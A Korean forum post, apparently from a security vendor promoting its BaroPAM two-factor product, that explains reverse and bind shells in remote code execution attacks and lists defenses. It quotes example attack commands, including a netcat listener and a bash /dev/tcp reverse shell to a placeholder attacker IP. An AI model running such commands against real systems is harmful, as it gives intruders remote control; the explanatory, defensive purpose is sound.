오늘:
1,312
어제:
4,626
전체:
3,836,468

자유게시판

?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄 첨부
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄 첨부

"기본 보안부터 철저히 해야"
 
현재의 보안체계로는 정보자산을 충분히 지킬 수 없다는 거, 보안 전문가라면 다 알고 있다.
 
주요 인프라 공격의 85%가 "패치, 2차 인증(추가 인증), 최소 권한 원칙" 등 기본적인 수준의 보안을 지키지 않아서 발생한 것으로 나타났다.

랜섬웨어를 포함한 침해 사고의 80~90%가 원격 접속과 관련된 문제다.
 
보안 솔루션 중 도입해야 할 1순위가 우회 및 원격접속을 차단할 수 있는 2차 인증 솔루션이다.
 
기본 보안 정책만 지켜도 대부분의 공격은 막을 수 있다.
 
원격 코드 실행(RCE, Remote Code Execution) 공격은 해커들이 계정에 대한 무차별 대입 공격 또는 네트워크, 서버 등 하드웨어 취약점을 스캔/악용하여 공격자가 조직의 컴퓨터나 네트워크에서 악성 코드를 실행할 수 있는 공격이다.

공격자가 제어하는 코드를 실행하는 기능은 추가 맬웨어를 배포하거나 중요한 데이터를 탈취하는 등 다양한 목적으로 사용될 수 있다.

1. 리버스 쉘(Reverse Shell)
 
'리버스 쉘(Reverse Shell)'은 컴퓨터 네트워크 보안 분야에서 사용되는 개념으로, 공격자가 공격 대상 시스템에 원격으로 접근하여 명령을 실행할 수 있도록 하는 기술이다.

일반적인 쉘 접속 방식과는 반대로, 피해자 시스템이 공격자 시스템으로 연결을 시도하고, 공격자 시스템이 그 연결을 받아들여 쉘 세션을 생성하는 방식이다.
 
1.1 리버스 쉘의 원리 및 작동 방식
 

20250228_054724.png

 

1) 일반적인 쉘(바인드 쉘)과의 차이
 
① 바인드 쉘 (Bind Shell)
 
공격 대상 시스템이 특정 포트를 열고 외부로부터의 연결을 기다리는 방식이다.

공격자는 이 열린 포트로 직접 연결하여 쉘을 얻는다.

이 방식은 대상 시스템의 방화벽이 외부로부터의 연결을 차단하면 작동하기 어렵다.
 
② 리버스 쉘 (Reverse Shell)
 
공격 대상 시스템이 공격자의 시스템으로 직접 연결을 시도한다.

공격자는 자신의 시스템에서 특정 포트를 열어놓고 피해자 시스템의 연결을 기다린다(리스너).

피해자 시스템이 연결되면, 공격자는 이 연결을 통해 피해자 시스템의 쉘에 접근하여 명령을 내릴 수 있다.
 
2) 리버스 쉘이 주로 사용되는 이유
 
① 방화벽 우회
 
대부분의 방화벽은 외부에서 내부로 들어오는 인바운드(Inbound) 연결은 엄격하게 통제하지만, 내부에서 외부로 나가는 아웃바운드(Outbound) 연결은 비교적 자유롭게 허용하는 경우가 많다.

리버스 쉘은 피해자 시스템이 먼저 외부(공격자)로 연결을 시도하기 때문에 이러한 방화벽의 정책을 우회하기 용이하다.
 
② NAT(Network Address Translation) 환경 우회
 
NAT 환경에서는 외부에서 내부 네트워크의 특정 시스템으로 직접 접근하기 어렵다.

리버스 쉘은 내부 시스템이 외부로 연결을 시작하기 때문에 NAT 환경에서도 작동할 수 있다.
 
3) 공격 시나리오
 
① 공격자는 먼저 자신의 시스템에 특정 포트를 열어놓고 연결을 기다린다 (예: nc -lvp 4444).

② 공격자는 사회 공학적 기법(피싱, 악성 파일 등)이나 시스템의 취약점(웹 취약점, 소프트웨어 버그 등)을 이용하여 피해자 시스템에 악성 스크립트나 코드를 실행시킨다.

③ 피해자 시스템에서 실행된 악성 코드는 공격자의 IP 주소와 포트로 연결을 시도한다 (예: bash -i >& /dev/tcp/공격자IP/4444 0>&1).

④ 연결이 성공하면, 공격자는 자신의 시스템에서 피해자 시스템의 쉘에 대한 제어권을 얻게 된다.

이후 공격자는 피해자 시스템에서 명령을 실행하거나 데이터를 탈취하는 등의 악의적인 행위를 할 수 있다.
 
1.2 리버스 쉘 공격 예방 및 탐지
 
1) 시스템 및 소프트웨어 최신 패치
 
알려진 취약점을 통해 리버스 쉘이 실행되는 것을 막기 위해 항상 최신 보안 패치를 적용한다.
 
2) 강력한 인증
 
강력한 인증 메커니즘(2차 인증)을 사용하고 불필요한 원격 접근을 제한한다.
 
3) 방화벽 강화
 
내부에서 외부로 나가는 아웃바운드 연결에 대한 정책을 강화하여 불필요한 연결을 차단한다.
 
4) 침입 탐지 시스템(IDS) 및 침입 방지 시스템(IPS) 활용
 
비정상적인 네트워크 트래픽이나 의심스러운 쉘 세션 연결을 탐지하고 차단한다.
 
5) 엔드포인트 탐지 및 대응(EDR) 솔루션
 
엔드포인트에서 악성 행위를 탐지하고 대응할 수 있는 EDR 솔루션을 도입하여 리버스 쉘과 같은 공격을 식별하고 방어한다.
 
6) 최소 권한 원칙
 
사용자 및 프로세스에 최소한의 권한만을 부여하여, 만약 시스템이 침해되더라도 피해를 최소화할 수 있도록 한다.
 
7) 보안 인식 교육
 
피싱, 악성 파일 등에 대한 사용자들의 보안 인식을 높여, 공격의 초기 단계를 차단할 수 있도록 한다.
 
8) 로그 분석
 
시스템 및 네트워크 로그를 주기적으로 검토하여 의심스러운 활동이나 연결 시도를 탐지한다.
 
리버스 쉘은 공격자들이 방화벽을 우회하고 원격 제어권을 얻는 데 효과적인 수단이기 때문에, 이에 대한 이해와 적절한 방어 전략은 사이버 보안에서 매우 중요하다.
 
 
2. 바인드 쉘(Bind Shell)
 
'바인드 쉘(Bind Shell)'은 '리버스 쉘(Reverse Shell)'과 함께 컴퓨터 네트워크 보안 분야에서 사용되는 원격 쉘 접속 방식 중 하나다.

두 방식 모두 공격자가 원격 시스템의 명령줄에 접근하는 것을 목표로 하지만, 작동 방식과 네트워크 연결 방향에서 큰 차이가 있다.
 
2.1 바인드 쉘의 원리 및 작동 방식
 

20250228_054724.png

 

1) 원리
 
① 공격 대상 시스템(피해자 시스템)이 특정 포트를 열고(바인딩) 외부로부터의 연결을 기다린다.

② 공격자는 이 열린 포트로 직접 연결을 시도하여 피해자 시스템의 쉘에 접근한다.
 
2) 작동 방식
 
① 피해자 시스템
 
악성 코드나 취약점 공격을 통해 피해자 시스템에 쉘 프로그램을 특정 포트에 바인딩하도록 만든다.

예를 들어, 쉘(예: /bin/sh 또는 cmd.exe)을 4444번 포트에 연결하여 외부 연결을 기다리도록 설정한다.
 
② 공격자 시스템
 
공격자는 피해자 시스템의 IP 주소와 열려 있는 포트(예: 4444번)로 직접 연결을 시도한다.

예를 들어, nc [피해자_IP] 4444와 같은 명령어를 사용한다.
 
③ 쉘 획득
 
연결이 성공하면 공격자는 피해자 시스템의 쉘에 접근하여 명령을 실행할 수 있게 된다.
 
2.2 바인드 쉘의 특징 및 한계
 
1) 쉬운 이해와 구현
 
리버스 쉘보다 개념적으로 이해하기 쉽고 구현이 간단한 경우가 많다.
 
2) 방화벽 및 NAT 문제
 
① 방화벽
 
가장 큰 한계는 방화벽이다.
 
대부분의 기업 및 개인 방화벽은 외부에서 내부로 들어오는 인바운드(Inbound) 연결을 기본적으로 차단하거나 매우 엄격하게 제한한다.

바인드 쉘은 피해자 시스템이 포트를 열고 외부 연결을 기다려야 하므로, 방화벽에 의해 해당 포트가 차단되면 공격자는 연결할 수 없다.
 
② NAT (Network Address Translation)
 
NAT 환경에서도 바인드 쉘은 작동하기 어렵다.

외부 공격자가 내부 네트워크의 특정 시스템으로 직접 접근하려면 라우터에서 포트 포워딩(Port Forwarding)이 설정되어 있어야 하는데, 이는 일반적이지 않다.
 
2.3 바인드 쉘이 효과적인 경우
 
바인드 쉘은 주로 다음과 같은 경우에 더 효과적일 수 있다.
 
1) 내부 네트워크 공격
 
공격자가 이미 피해자 시스템이 속한 내부 네트워크에 침투하여 방화벽의 인바운드 정책을 우회할 수 있는 위치에 있는 경우다.
 
2) 방화벽이 없거나 약한 시스템
 
테스트 환경이나 보안 설정이 미흡한 시스템에서 활용될 수 있다.
 
3) 외부에서 내부로의 접근이 허용된 특정 서비스 포트
 
예를 들어, 웹 서버의 80/443 포트와 같이 외부에서 접근이 허용된 포트에 쉘을 바인딩하고, 해당 포트로 공격자가 연결하는 경우다.

하지만 이는 서비스 가용성 문제나 탐지 위험을 높일 수 있다.
 
 
3. 바인드 쉘과 리버스 쉘의 비교 (핵심 차이)
 

특징 바인드 쉘 (Bind Shell) 리버스 쉘 (Reverse Shell)
연결 주체 **공격자 (클라이언트)**가 피해자에게 연결 **피해자 (클라이언트)**가 공격자에게 연결
연결 방향 공격자 -> 피해자 (인바운드 연결) 피해자 -> 공격자 (아웃바운드 연결)
리스너 피해자 시스템이 특정 포트에서 연결을 기다림 공격자 시스템이 특정 포트에서 연결을 기다림
방화벽 우회 인바운드 방화벽에 의해 쉽게 차단됨. 아웃바운드 방화벽이 느슨한 경우 우회 용이.
NAT 우회 포트 포워딩 필요 (어려움). 내부에서 외부로 연결하므로 NAT 우회 용이.
장점 설정이 간단함. 방화벽 우회에 효과적 (주요 장점)
단점 방화벽에 의해 쉽게 차단될 수 있음.
NAT 환경에서 직접 접근 어려움.
피해 시스템에서 악성 코드를 실행해야 함.
주요 사용처 내부 네트워크 환경에서 방화벽이 느슨하거나 없는 경우.
직접 접근이 가능한 경우.
외부에서 내부 네트워크로 침투할 때 (가장 일반적).
방화벽이 외부 연결을 차단하는 경우.

 
결론적으로, 바인드 쉘은 특정 조건(방화벽이 없거나 내부 네트워크에 이미 침투한 경우)에서 유용할 수 있지만, 일반적인 인터넷 환경에서 방화벽과 NAT를 우회해야 하는 공격 시나리오에서는 리버스 쉘이 훨씬 더 보편적이고 효과적인 방법으로 사용된다.
 
 
4. 해킹 사례
 
4.1 Windows 환경
 

외부에 노출된 윈도우 서버의 원격 접속(RDP) 기능이나 데이터베이스 접속(MS-SQL)을 노려 시스템에 침투해, 전 세계 2000대 이상의 감염된 시스템을 조용히 통제해오고 있었던 것으로 나타났다.

 

RDP는 다른 컴퓨터에 원격으로 접속할 수 있도록 해주는 윈도우 기능이다. MS-SQL는 마이크로소프트에서 제공하는 데이터베이스 관리 시스템이다.

 

시스템 침해 후 사용한 악성코드와 도구는 크게 3단계로 구별됐다.

 

1단계는 악성코드를 다운로드 및 설치하는 과정이며, 다운로더, 명령어 실행 툴들이 사용된다.

 

2단계는 주로 백도어(Backdoor) 류를 설치하며,

 

3단계는 추가 악성행위를 위한 악성코드 설치로 나눌 수 있다.

 

해커들이 계정에 대한 무차별 대입 공격 또는 네트워크, 서버 등 하드웨어 취약점을 스캔/악용하여 SQL Injection 공격으로 PowerShell를 통한 원격접속 서비스를 활성화한 후 원격데스크탑(RDP) 연결로 원격 접속을 시도하였는데, 2차 인증(추가 인증) 솔루션인 BaroPAM으로 인하여 원격 접속을 차단한 사례.
 

20250228_054724.png

 

4.2 Linux/Unix 환경
 
해커들이 계정에 대한 무차별 대입 공격 또는 네트워크, 서버 등 하드웨어 취약점을 스캔/악용하여 (리버스 쉘, 바인드 쉘)원격코드 실행(RCE, Remote Code Execution)을 통한 계정 및 SSH key 생성, 권한 상승 등을 활용하여 원격 접속을 시도하였는데, 2차 인증(추가 인증) 솔루션인 BaroPAM으로 인하여 su, sudo 등 명령어 실행이나 ssh/sftp를 이용한 원격 접속 등을 차단한 사례.
 

20250228_054724.png

 


List of Articles
번호 제목 추천 수 글쓴이 날짜 조회 수
2103 중앙 집중식에서 벗어나 탈중앙화의 중요성 file 0 BaroPAM 2025.06.03 145
2102 작업 표시줄 아무 것도 안될때 다양한 방법이 있네요 1 file 0 깔치 2025.06.01 169
2101 검색엔진으로 쓸만한 국내 ai서비스 0 context 2025.05.30 193
2100 네이버 페이, 오프라인 결제 단말기 내놓는다 0 context 2025.05.30 101
» 원격코드 실행(RCE) 공격에 사용되는 리버스 쉘과 바인드 쉘의 대응 방안 file 0 BaroPAM 2025.05.25 290
2098 디지털 디톡스 전용폰도 있네요 file 0 해바라기29 2025.05.22 257
2097 시나몬 한글입력 안 되는 문제 간단한 분석 1 0 Moordev 2025.05.21 257
2096 원격 코드 실행(RCE, Remote Code Execution)이란? file 0 BaroPAM 2025.05.19 305
2095 '6년 절치부심' 진격의 샤오미, 자체 AP 출격 0 context 2025.05.18 237
2094 세레브라스 WSE-3 최고 속도 AI 칩 0 leaveoiop 2025.05.17 131
2093 챗GPT 학습에 8자리 숫자 비밀번호 3시간 만에 뚫는다 file 0 BaroPAM 2025.05.14 478
2092 가입 인사 드립니다. 0 깔치 2025.05.12 149
2091 화웨이, 자체 OS 탑재 첫 노트북 출시…"MS·애플에 도전장" 0 context 2025.05.09 304
2090 현재의 보안 체계로는 이젠 침해사고를 막을 수 없다 file 0 BaroPAM 2025.05.04 414
2089 오늘부터 연휴인데 다들 어디가시나요? 0 해바라기29 2025.05.02 180
2088 SKT 유심해킹 관련한 사용자들의 대비 방안 1 0 context 2025.05.02 367
2087 wine mono 설치 저만 이럴까요? 1 file 0 kaboom45 2025.04.28 337
2086 중앙 집중형 시스템에서 탈중앙화 방식의 다계층 인증 체계 도입의 필요성 file 0 BaroPAM 2025.04.25 1993
2085 구글이 크롬을 매각해야 할 경우 퍼플렉시티가 크롬 인수를 원해. 0 context 2025.04.24 1309
2084 다계층 인증 체계의 필요성 file 1 BaroPAM 2025.04.19 3077
Board Pagination Prev 1 2 3 4 5 6 7 8 9 10 ... 106 Next
/ 106
CLOSE

Sketchbook5, 스케치북5

Sketchbook5, 스케치북5

나눔글꼴 설치 안내


이 PC에는 나눔글꼴이 설치되어 있지 않습니다.

이 사이트를 나눔글꼴로 보기 위해서는
나눔글꼴을 설치해야 합니다.

나눔고딕 사이트로 가기

Sketchbook5, 스케치북5

Sketchbook5, 스케치북5